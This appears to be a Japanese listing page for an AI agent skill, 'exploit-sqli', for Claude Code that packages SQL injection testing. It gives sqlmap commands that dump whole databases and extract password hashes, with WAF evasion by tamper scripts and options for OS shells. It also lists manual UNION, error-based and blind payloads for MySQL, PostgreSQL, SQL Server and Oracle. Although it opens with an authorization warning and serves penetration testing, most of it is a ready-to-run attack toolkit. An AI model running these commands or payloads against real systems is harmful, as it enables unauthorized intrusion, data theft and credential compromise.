exploit-sqli について
sqlmap と手動手法による SQL インジェクション検査をまとめたセキュリティテストスキルです。許可を得たテスト向けに、検出、データベース列挙、結果保存の手順を扱います。
主な機能
- 01sqlmap による自動テスト
- 02複数の DBMS に対応する手動注入手法
- 03URL、POST、Cookie、ヘッダーの入力検査
- 04データベースとユーザーの列挙手順
- 05ペイロード生成とレスポンス分析のスクリプト
活用シーン
- 01許可された範囲で Web アプリを評価
- 02URL と POST パラメーターの注入を検査
- 03検出後にデータベース情報を調査
- 04SQL インジェクションの検出結果を保存して報告
インストール
コマンドをコピーしてターミナルで実行します。
npx skills add https:/ / github.com/ crazymarky/ pentest-skills --skill exploit-sqliインストール後、Claude Code で/exploit-sqliを入力して読み込まれたか確認します。
同梱ファイル
SKILL.md と一緒にインストールされる参考資料やスクリプト。
assets/common_error_payloads.txtdbms_fingerprints.txttime_based_payloads.txtreferences/manual_sqli_techniques.mdnosql_injection.mdsqlmap_guide.mdscripts/boolean_sqli_tester.pyresponse_analyzer.pysqli_payload_generator.pysqli_storage.py詳細
SQL インジェクションの検出と悪用
認可に関する警告
危険: SQL インジェクションのテストは、本番データベースのデータを破損または消失させる可能性があります。必ず以下を確認してください。
- 対象アプリケーションの所有者から書面による許可を得ていること
- 隔離されたテスト環境があること
- 影響を受けるシステムのバックアップがあること
- 現地の規制を遵守していること
許可なく、本番データベースに対して SQL インジェクションのテストを行わないでください。
前提条件
システムにインストールが必要なツール:
- sqlmap -
pip install sqlmapまたはgit clone https://github.com/sqlmapproject/sqlmap
オプションのツール:
- BBQSQL - 半自動の SQL インジェクションツール
- NoSQLMap - NoSQL インジェクションテスト
クイックスタート
SQL インジェクションテストで最もよく使われるコマンド:
SQLMap による自動スキャン
sqlmap -u "https://target.com/page?id=1"
POST リクエストのテスト
sqlmap -u "https://target.com/login" --data="username=admin&password=test"
Cookie のテスト
sqlmap -u "https://target.com" --cookie="sessionid=abc123"
よくあるシナリオ
シナリオ 1:基本的なパラメーターのテスト
URL パラメーターの SQL インジェクションをテストする場合:
sqlmap -u "https://target.com/page?id=1"
パラメーター:
-u- 対象 URL-p- テストする特定のパラメーター(デフォルト:すべて)--batch- 対話型プロンプトを回避--random-agent- ランダムな User-Agent を使用
例:
sqlmap -u "https://target.com/vuln.php?id=1" --batch --random-agent
シナリオ 2:POST リクエストへのインジェクション
POST 本文のパラメーターをテストする場合:
sqlmap -u "https://target.com/login" --data="username=admin&password=test"
ファイルから指定する場合:
sqlmap -u "https://target.com/login" -d post_data.txt
シナリオ 3:Cookie/ヘッダーへのインジェクション
Cookie またはヘッダーをテストする場合:
# Cookie injection
sqlmap -u "https://target.com" --cookie="sessionid=abc123"
# User-Agent injection
sqlmap -u "https://target.com" --headers="User-Agent: sqlmap"
# Referer injection
sqlmap -u "https://target.com" --referer="https://evil.com"
複数のヘッダー:
sqlmap -u "https://target.com" -H "Cookie:id=1" -H "User-Agent: test"
シナリオ 4:特定の DBMS のテスト
データベースの種類が分かっている、または推測できる場合:
sqlmap -u "https://target.com/page?id=1" --dbms=mysql
sqlmap -u "https://target.com/page?id=1" --dbms=postgresql
sqlmap -u "https://target.com/page?id=1" --dbms=sqlserver
sqlmap -u "https://target.com/page?id=1" --dbms=oracle
シナリオ 5:データベースの列挙
データベースの情報を抽出する場合:
# List databases
sqlmap -u "https://target.com/page?id=1" --dbs
# List tables
sqlmap -u "https://target.com/page?id=1" -D dbname --tables
# Dump table
sqlmap -u "https://target.com/page?id=1" -D dbname -T users --dump
# Dump all
sqlmap -u "https://target.com/page?id=1" --dump-all
シナリオ 6:ユーザーの列挙
ユーザーの認証情報を抽出する場合:
# Enumerate database users
sqlmap -u "https://target.com/page?id=1" --users
# Extract password hashes
sqlmap -u "https://target.com/page?id=1" --passwords
# Dump users table
sqlmap -u "https://target.com/page?id=1" -D dbname -T users -C username,password --dump
シナリオ 7:UNION ベースの SQL インジェクション
UNION ベースの SQLi を手動でテストします。
# Test for SQL injection with payload
https://target.com/page?id=1' OR '1'='1
https://target.com/page?id=1' UNION SELECT 1,2,3--
https://target.com/page?id=1' UNION SELECT NULL,version(),NULL--
カラム数の特定:
id=1' ORDER BY 1--
id=1' ORDER BY 2--
id=1' ORDER BY 3--
文字列と整数のどちらかを確認:
id=1' UNION SELECT 1,'2',3--
id=1' UNION SELECT 1,NULL,NULL--
シナリオ 8:エラーベースの SQL インジェクション
エラーメッセージが表示される場合:
# MySQL error injection
id=1' AND extractvalue(1, concat(0x7e, database(), 0x7e))--
id=1' AND updatexml(1, concat(0x7e, database(), 0x7e), 1)--
id=1' AND exp(~(SELECT * FROM (SELECT database())a))--
# PostgreSQL error injection
id=1' AND cast(version() as int)--
id=1'; CAST(version() AS INT)--
シナリオ 9:ブラインド SQL インジェクション
エラーメッセージが返されない場合:
ブールベース:
id=1' AND 1=1--
id=1' AND 1=2--
時間ベース(MySQL):
id=1' AND SLEEP(5)--
id=1' AND BENCHMARK(5000000, MD5(1))--
時間ベース(PostgreSQL):
id=1'; SELECT pg_sleep(5)--
id=1'; SELECT extract(epoch from now())-
シナリオ 10:WAF の回避
WAF がインジェクションの試行をブロックする場合:
# Use tamper scripts
sqlmap -u "https://target.com/page?id=1" --tamper=space2comments
# Use random agent
sqlmap -u "https://target.com/page?id=1" --random-agent
# Different level
sqlmap -u "https://target.com/page?id=1" --level=1 --risk=1
# Specific technique
sqlmap -u "https://target.com/page?id=1" --technique=U
インジェクションテストのワークフロー
1. 初期検出
# Automated scan
sqlmap -u "https://target.com/page?id=1" --batch
# Manual quick test
curl "https://target.com/page?id=1'" | grep -i "sql\|mysql\|syntax"
curl "https://target.com/page?id=1\" OR \"1\"=\"2" | grep -i "error"
2. 確認
# Confirm with multiple payloads
curl "https://target.com/page?id=1 AND 1=1"
curl "https://target.com/page?id=1 AND 1=2"
curl "https://target.com/page?id=1' OR '1'='1"
3. データベースのフィンガープリント
sqlmap -u "https://target.com/page?id=1" --current-user
4. 列挙
# Get database info
sqlmap -u "https://target.com/page?id=1" --hostname --current-db --is-dba
# List databases
sqlmap -u "https://target.com/page?id=1" --dbs
SQLMap オプションリファレンス
| オプション | 説明 |
|---|---|
-u | 対象 URL |
-r | ログファイルを解析 |
-l | ファイルから読み込み |
-m | 複数の対象をスキャン |
-p | 特定のパラメーターをテスト |
--skip | パラメーターをスキップ |
--dbms | DBMS を強制指定 |
--os | OS を強制指定 |
--tamper | 改変スクリプト |
--level | テストレベル(1-5) |
--risk | リスクレベル(1-3) |
--technique | 特定の手法(B/E/U/S/T) |
--batch | 非対話型 |
--random-agent | ランダムな User-Agent |
--proxy | プロキシを使用 |
--delay | リクエスト間の遅延 |
--timeout | リクエストのタイムアウト |
--retries | 再試行回数 |
--string | 文字列に一致 |
--not-string | 文字列に一致しない |
--regexp | 正規表現フィルター |
--grep | ページ用の正規表現フィルター |
--crawl | サイトをクロール |
--forms | フォームを解析 |
--cookie | Cookie の値 |
--headers | 追加ヘッダー |
--user-agent | カスタム User-Agent |
--method | メソッドを強制指定 |
--data | POST データ |
-d | ファイルから POST データを指定 |
--dbs | データベースを列挙 |
--tables | テーブルを列挙 |
--columns | カラムを列挙 |
--schema | スキーマを列挙 |
--dump | データをダンプ |
--dump-all | すべてをダンプ |
--search | 検索 |
--users | DB ユーザーを列挙 |
--passwords | パスワードハッシュを列挙 |
--priv-esc | 権限昇格 |
--os-shell | OS シェル |
--os-pwn | Meterpreter/OBM シェル |
--sql-shell | SQL シェル |
--wizard | ウィザードモード |
-v | 詳細度(0-6) |
手動ペイロード
MySQL ペイロード
-- Version detection
' UNION SELECT @@version--
-- Current user
' UNION SELECT user()--
-- Current database
' UNION SELECT database()--
-- All databases
' UNION SELECT schema_name FROM information_schema.schemata--
-- Tables from database
' UNION SELECT table_name FROM information_schema.tables WHERE table_schema=database()--
-- Columns from table
' UNION SELECT column_name FROM information_schema.columns WHERE table_name='users'--
-- Concatenate data
' UNION SELECT CONCAT(username,0x3a,password) FROM users--
PostgreSQL ペイロード
-- Version
' UNION SELECT version()--
-- Current user
' UNION SELECT user--
-- Current database
' UNION SELECT current_database()--
-- All databases
' UNION SELECT datname FROM pg_database--
-- Tables
' UNION SELECT tablename FROM pg_tables WHERE schemaname='public'--
-- Columns
' UNION SELECT column_name FROM information_schema.columns WHERE table_name='users'--
SQL Server ペイロード
-- Version
' UNION SELECT @@version--
-- Database
' UNION SELECT DB_NAME()--
-- Tables
' UNION SELECT table_name FROM information_schema.tables--
-- Columns
' UNION SELECT column_name FROM information_schema.columns WHERE table_name='users'--
-- Databases
' UNION SELECT name FROM master..sysdatabases--
Oracle ペイロード
-- Version
' UNION SELECT banner FROM v$version--
-- Tables
' UNION SELECT table_name FROM all_tables WHERE owner=USER--
-- Columns
' UNION SELECT column_name FROM all_tab_columns WHERE table_name='USERS'--
テストチェックリスト
- URL パラメーター
- POST パラメーター
- Cookie
- User-Agent
- Referer
- X-Forwarded-For
- Accept ヘッダー
- JSON ボディフィールド
- GraphQL クエリ
- API エンドポイント
シナリオ:SQL インジェクションの検出結果を永続的に保存する
SQL インジェクションの検出結果をデータベースに永続的に保存する必要がある場合:
# Manual entry after discovering SQL injection
python .claude/skills/exploit-sqli/scripts/sqli_storage.py \
--host-ip 192.168.1.100 \
--url "https://example.com/login?id=1" \
--parameter id \
--payload "1' OR '1'='1" \
--severity Critical \
--cvss-score 9.8 \
--db-type MySQL \
--subsystem "Web Application"
パラメーター:
--host-ip- 対象ホストの IP(必須)--url- 脆弱性のある URL(必須)--parameter- 脆弱性のあるパラメーター名(必須)--payload- 使用したペイロード(必須)--severity- 深刻度(デフォルト:High)--cvss-score- CVSS スコア(0.0~10.0)--db-type- データベースの種類(例:MySQL、PostgreSQL)--subsystem- サブシステム名(任意)--title- 脆弱性のタイトル(指定されていない場合は自動生成)--description- 脆弱性の説明
データベースの場所: ./data/results.db
関連スキル: results-storage - データのクエリ、レポートの生成
リソース
スクリプト
scripts/sqli_payload_generator.py- SQL インジェクションのペイロードを生成scripts/boolean_sqli_tester.py- ブラインド SQL インジェクションをテストscripts/response_analyzer.py- インジェクションの手掛かりがないかレスポンスを分析
リファレンス
references/sqlmap_guide.md- SQLMap の包括的なリファレンスreferences/manual_sqli_techniques.md- 手動インジェクションの手法references/nosql_injection.md- NoSQL インジェクションガイド
アセット
assets/common_error_payloads.txt- 一般的なエラーベースのペイロードassets/time-based_payloads.txt- 時間ベースのブラインドペイロードassets/dbms_fingerprints.txt- データベースフィンガープリントのパターン